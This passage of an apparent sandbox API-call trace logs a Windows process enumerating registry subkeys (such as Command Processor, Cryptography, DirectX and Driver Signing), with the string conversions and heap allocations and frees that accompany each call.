cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x28c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.882] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x28b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x28c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.883] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x28b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x28c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.883] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x28b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x28c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.883] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x28b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x28c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.883] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.883] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x28b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0252.883] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x28c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.884] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x28b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x28c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.884] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x28b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x28c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.884] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x28b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x28c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.884] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.884] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x28b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0252.884] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x28c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.885] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x28b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x28c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.885] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x28b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x28c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.885] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x28b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x28c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.885] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.885] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x28b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x28c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0252.885] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x28b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x28c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x28b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x28c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x28b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x28c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x28b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x28c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0252.886] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.886] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x28b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x28c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.887] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x28b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x28c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.887] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x28b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x28c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.887] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x28b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 